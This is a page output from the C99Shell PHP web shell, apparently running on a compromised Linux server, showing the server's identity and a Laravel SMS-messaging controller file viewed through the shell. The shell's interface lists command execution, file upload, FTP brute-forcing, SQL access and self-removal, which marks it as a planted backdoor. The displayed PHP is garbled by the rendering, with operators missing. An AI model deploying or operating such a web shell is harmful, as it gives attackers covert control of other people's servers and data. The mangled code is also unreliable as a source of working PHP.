!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sender.picotech.app/public_html/app/Http/Controllers/Api/   drwxr-xr-x
Free 29.37 GB of 117.98 GB (24.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ComposeController.php (4.85 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Api;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\Contact;
use 
App\Models\ContactGroup;
use 
App\Models\MessageLog;
use 
App\Models\Number;
use 
App\Models\SenderId;
use 
App\Models\SmsQueue;
use 
App\Models\Subscribe;
use 
App\Models\WhatsAppNumber;
use 
App\SmsProvider\SendSMS;
use 
App\WhatsAppProvider\SendMessageProcess;
use 
Carbon\Carbon;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Str;

class 
ComposeController extends Controller
{


    public function 
sentCompose(Request $request)
    {
        
$request->validate([
            
'device_id' => 'required',
            
'to_numbers' => 'required',
            
'body' => 'required',
        ]);

        
$user auth()->user();
        
$device $user->activeDevices($request->device_id)->first();
        if (!
$device) {
            return 
response()->json(['message' => 'Device has been removed or inactive'],400);
        }

        
$toNumbers explode(','$request->to_numbers);
        
$sent auth()->user()->message_logs()->where('type','sent')->whereDate('created_at'Carbon::today())->count();
        
$plan $user->currentPlan();
        if (!isset(
$plan->plan_id)) {
            return 
response()->json(['message' => 'Your don\'t have any active plan']);
        }

        if ((
$sent count($toNumbers)) > $plan->daily_send_limit) {
            return 
response()->josn(['message' => 'Your have extended your daily send limit']);
        }
        
$messageFiles = [];
        if (
$request->mms_files) {
            foreach (
$request->mms_files as $key => $file) {
                
$messageFiles[] = $fileName time() . $key '.' $file->extension();
                
$file->move(public_path('uploads/'), $fileName);
            }
            
$request['message_files'] = json_encode($messageFiles);
        }

        if (isset(
$request->isSchedule)) {
            
$sd Carbon::createFromTimeString($request->schedule);
            
$request['schedule_datetime'] = $sd;
        } else {
            
$request['schedule_datetime'] = now();
        }
        
$allToNumbers = [];
        
$allGroupIds = [];
        
$allContactIds = [];

        foreach(
$toNumbers as $to_number){
            
$allToNumbers[]=$to_number;
        }

        
$allToNumbers array_unique($allToNumbers);

        
$request['to_numbers'] = $allToNumbers;
        
$request['numbers'] = json_encode(['from' => $device->id'to' => $allToNumbers,'subscriber_id'=>$request->subscriber_id]);
        
$request['type'] = 'sent';

        
$current_plan $plan;

        
//subtracting one sms TODO:: will need to count text and sub that also calculate today send
        
$pre_available_sms $current_plan->daily_send_limit;
        
$new_available_sms $pre_available_sms count($allToNumbers);

        
//if not enough sms then return
        
if ($new_available_sms 0)
            return 
response()->json(['message' => 'Doesn\'t have enough sms. Please upgrade your plan'],400);

        
DB::beginTransaction();
        try {
            
$newMessage auth()->user()->messages()->create($request->all());

            
$sms_queue = [];
            foreach (
$request->to_numbers as $to) {
                
$newMessageFiles null;
                if (
$messageFiles) {
                    
$newMessageFiles $messageFiles;

                    
array_walk($newMessageFiles, function (&$value$index) {
                        
$value asset('uploads/' $value);
                    });
                }
                
$sms_queue[] = [
                    
'unique_reference' => Str::uuid(),
                    
'message_id' => $newMessage->id,
                    
'from' => $device->id,
                    
'device_unique_id' => $device->device_unique_id,
                    
'to' => $to,
                    
'schedule_datetime' => $request->schedule_datetime,
                    
'body' => $request->body,
                    
'created_at' => now(),
                    
'updated_at' => now(),
                    
'type' => 'sent',
                ];

            }

            
auth()->user()->sms_queues()->createMany($sms_queue);
            
auth()->user()->message_logs()->createMany($sms_queue);

            
DB::commit();
            return 
response()->json(['message' => 'Message queued successfully']);

        } catch (
\Exception $ex) {
            
Log::error($ex);
            
DB::rollBack();
            return 
response()->json(['message' => $ex->getMessage()],400);
        }
    }
    public function 
changeStatus(Request $request){
        
$messageIds=$request->data;

        
$wa_ids=[];
        foreach(
$messageIds as $key=>$status){
            
$wa_ids[]=$key;
        }

        
SmsQueue::whereIn('response_id',$wa_ids)->update(['status'=>'delivered','delivered_at'=>now()]);
        
MessageLog::whereIn('response_id',$wa_ids)->update(['status'=>'succeed']);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--